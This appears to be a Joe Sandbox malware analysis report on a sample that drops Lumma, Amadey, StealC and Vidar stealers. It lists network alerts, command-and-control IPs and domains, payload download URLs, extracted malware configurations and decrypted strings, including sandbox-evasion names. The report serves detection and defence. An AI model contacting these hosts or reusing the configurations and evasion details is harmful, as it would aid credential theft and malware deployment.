2024-11-05T20:52:49.794975+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50145	104.21.5.155	443	TCP
2024-11-05T20:52:56.289358+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50171	104.21.5.155	443	TCP
2024-11-05T20:52:57.817358+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50174	104.21.5.155	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:13.558413+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50012	104.21.5.155	443	TCP
2024-11-05T20:52:29.247531+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50038	104.21.5.155	443	TCP
2024-11-05T20:52:56.289358+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50171	104.21.5.155	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:15.035710+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50014	104.21.5.155	443	TCP
2024-11-05T20:52:31.049251+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50044	104.21.5.155	443	TCP
2024-11-05T20:52:57.817358+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50174	104.21.5.155	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:13.347954+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50012	104.21.5.155	443	TCP
2024-11-05T20:52:14.301649+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50014	104.21.5.155	443	TCP
2024-11-05T20:52:16.047422+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50016	104.21.5.155	443	TCP
2024-11-05T20:52:17.420287+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50017	104.21.5.155	443	TCP
2024-11-05T20:52:19.223535+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50018	104.21.5.155	443	TCP
2024-11-05T20:52:20.955976+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50022	104.21.5.155	443	TCP
2024-11-05T20:52:22.991451+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50023	104.21.5.155	443	TCP
2024-11-05T20:52:26.340300+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50033	104.21.5.155	443	TCP
2024-11-05T20:52:28.901165+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50038	104.21.5.155	443	TCP
2024-11-05T20:52:30.334218+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50044	104.21.5.155	443	TCP
2024-11-05T20:52:32.450533+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50053	104.21.5.155	443	TCP
2024-11-05T20:52:34.228250+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50055	104.21.5.155	443	TCP
2024-11-05T20:52:36.025188+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50059	104.21.5.155	443	TCP
2024-11-05T20:52:42.574338+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50078	104.21.5.155	443	TCP
2024-11-05T20:52:45.010412+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50108	104.21.5.155	443	TCP
2024-11-05T20:52:49.324759+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50145	104.21.5.155	443	TCP
2024-11-05T20:52:56.094565+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50171	104.21.5.155	443	TCP
2024-11-05T20:52:57.464330+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50174	104.21.5.155	443	TCP
2024-11-05T20:52:59.336404+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50178	104.21.5.155	443	TCP
2024-11-05T20:53:00.945284+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50180	104.21.5.155	443	TCP
2024-11-05T20:53:03.594653+0100	2057122	1	Domain Observed Used for C2 Detected	192.168.2.6	50183	104.21.5.155	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:13.909541+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50013	185.215.113.43	80	TCP
2024-11-05T20:52:19.836882+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50019	185.215.113.43	80	TCP
2024-11-05T20:52:23.729057+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50024	185.215.113.43	80	TCP
2024-11-05T20:52:29.995330+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50041	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:12.521256+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	56865	1.1.1.1	53	UDP
2024-11-05T20:52:28.129530+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	55643	1.1.1.1	53	UDP
2024-11-05T20:52:55.229468+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	60389	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:12.551356+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	53952	1.1.1.1	53	UDP
2024-11-05T20:52:28.157648+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	55388	1.1.1.1	53	UDP
2024-11-05T20:52:55.266049+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	51205	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:12.639895+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.6	59878	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:12.614222+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.6	56298	1.1.1.1	53	UDP
2024-11-05T20:52:28.210533+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.6	52508	1.1.1.1	53	UDP
2024-11-05T20:52:41.988169+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.6	53699	1.1.1.1	53	UDP
2024-11-05T20:52:55.372195+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.6	61159	1.1.1.1	53	UDP
2024-11-05T20:53:17.342101+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.6	51046	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:12.492136+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	57613	1.1.1.1	53	UDP
2024-11-05T20:52:28.101533+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	50056	1.1.1.1	53	UDP
2024-11-05T20:52:55.200460+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	53441	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:12.575900+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	62415	1.1.1.1	53	UDP
2024-11-05T20:52:28.182443+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	49199	1.1.1.1	53	UDP
2024-11-05T20:52:55.302831+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	58219	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:21.332538+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	50020	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:21.325921+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	50020	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:21.615769+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	50020	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:22.728515+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	50020	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:21.623391+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	50020	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:21.368124+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50022	104.21.5.155	443	TCP
2024-11-05T20:53:01.459981+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50180	104.21.5.155	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:21.039960+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50020	185.215.113.206	80	TCP
2024-11-05T20:53:20.563437+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50188	185.215.113.206	80	TCP
2024-11-05T20:53:27.562173+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50196	185.215.113.206	80	TCP
2024-11-05T20:53:33.437786+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50197	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:05.028974+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50009	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:12.990718+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50010	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:08.385850+0100	2803305	3	Unknown Traffic	192.168.2.6	50011	185.215.113.16	80	TCP
2024-11-05T20:52:14.829512+0100	2803305	3	Unknown Traffic	192.168.2.6	50015	185.215.113.16	80	TCP
2024-11-05T20:52:24.816230+0100	2803305	3	Unknown Traffic	192.168.2.6	50025	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:23.011241+0100	2803304	3	Unknown Traffic	192.168.2.6	50020	185.215.113.206	80	TCP
2024-11-05T20:52:48.834842+0100	2803304	3	Unknown Traffic	192.168.2.6	50104	185.215.113.206	80	TCP
2024-11-05T20:52:51.740324+0100	2803304	3	Unknown Traffic	192.168.2.6	50104	185.215.113.206	80	TCP
2024-11-05T20:52:52.577208+0100	2803304	3	Unknown Traffic	192.168.2.6	50104	185.215.113.206	80	TCP
2024-11-05T20:52:53.664666+0100	2803304	3	Unknown Traffic	192.168.2.6	50104	185.215.113.206	80	TCP
2024-11-05T20:52:55.210234+0100	2803304	3	Unknown Traffic	192.168.2.6	50104	185.215.113.206	80	TCP
2024-11-05T20:52:55.827598+0100	2803304	3	Unknown Traffic	192.168.2.6	50104	185.215.113.206	80	TCP
2024-11-05T20:53:00.404647+0100	2803304	3	Unknown Traffic	192.168.2.6	50179	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:45.028470+0100	2843864	1	A Network Trojan was detected	192.168.2.6	50108	104.21.5.155	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.16:80/steam/random.exeoft	Avira URL Cloud: Label: phishing
Source: https://founpiuer.store/apief	Avira URL Cloud: Label: malware
Source: https://founpiuer.store/apit	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/746f34465cf17784/sqlite3.dllB	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php197001	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/mine/random.exe~	Avira URL Cloud: Label: phishing
Source: https://founpiuer.store/apiVML1	Avira URL Cloud: Label: malware
Source: https://founpiuer.store/api8	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exerlencoded	Avira URL Cloud: Label: phishing
Source: https://founpiuer.store/ksP	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe61395d	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/luma/random.exeN	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=m.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/746f34465cf17784/nss3.dll6	Avira URL Cloud: Label: malware
Source: https://founpiuer.store/apiNc	Avira URL Cloud: Label: malware
Source: https://founpiuer.store/;vZ	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exeEi	Avira URL Cloud: Label: phishing
Source: https://founpiuer.store/kM	Avira URL Cloud: Label: malware
Source: https://founpiuer.store/5	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpT	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpS	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php_	Avira URL Cloud: Label: malware
Source: https://founpiuer.store/8	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exex	Avira URL Cloud: Label: phishing
Source: https://founpiuer.store/sx	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpa	Avira URL Cloud: Label: malware
Source: https://founpiuer.store/;	Avira URL Cloud: Label: malware
Source: https://founpiuer.store/.	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000004.00000002.2183982105.0000000000781000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 24.2.2bbe886987.exe.750000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 24.2.2bbe886987.exe.750000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 21.2.06339d0580.exe.e20000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["scriptyprefej.store", "necklacedmny.store", "fadehairucw.store", "presticitpo.store", "crisiwarny.store", "navygenerayk.store", "founpiuer.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 38%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	ReversingLabs: Detection: 38%
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: 30
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: 11
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: 20
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: 24
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetProcAddress
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: LoadLibraryA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: lstrcatA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: OpenEventA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: CreateEventA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: CloseHandle
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Sleep
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: VirtualFree
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetSystemInfo
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: VirtualAlloc
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: HeapAlloc
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetComputerNameA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: lstrcpyA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetProcessHeap
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetCurrentProcess
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: lstrlenA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: ExitProcess
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetSystemTime
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: advapi32.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: gdi32.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: user32.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: crypt32.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: ntdll.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetUserNameA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: CreateDCA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetDeviceCaps
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: ReleaseDC
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: sscanf
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: VMwareVMware
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: HAL9TH
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: JohnDoe
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: DISPLAY
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: http://185.215.113.206
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: bksvnsj
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: /746f34465cf17784/
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: tale
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetFileAttributesA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GlobalLock
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: HeapFree
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetFileSize
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GlobalSize
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: IsWow64Process
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Process32Next
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetLocalTime
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: FreeLibrary
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetVolumeInformationA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Process32First
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetLocaleInfoA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetModuleFileNameA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: DeleteFileA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: FindNextFileA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: LocalFree
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: FindClose
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: LocalAlloc
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetFileSizeEx
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: ReadFile
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: SetFilePointer
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: WriteFile
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: CreateFileA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: FindFirstFileA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: CopyFileA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: VirtualProtect
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetLastError
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: lstrcpynA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: MultiByteToWideChar
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GlobalFree
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: WideCharToMultiByte
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GlobalAlloc
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: OpenProcess
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: TerminateProcess
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetCurrentProcessId
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: gdiplus.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: ole32.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: bcrypt.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: wininet.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: shlwapi.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: shell32.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: psapi.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: rstrtmgr.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: SelectObject
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: BitBlt
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: DeleteObject
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: CreateCompatibleDC
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GdiplusStartup
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GdiplusShutdown
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GdipDisposeImage
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GdipFree
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: CoUninitialize
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: CoInitialize
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: CoCreateInstance
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: BCryptDecrypt
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: BCryptSetProperty
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: BCryptDestroyKey
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetWindowRect
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetDesktopWindow
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetDC
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: CloseWindow
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: wsprintfA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: CharToOemW
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: wsprintfW
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: RegQueryValueExA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: RegEnumKeyExA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: RegOpenKeyExA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: RegCloseKey
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: RegEnumValueA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: CryptUnprotectData
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: SHGetFolderPathA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: ShellExecuteExA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: InternetOpenUrlA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: InternetConnectA
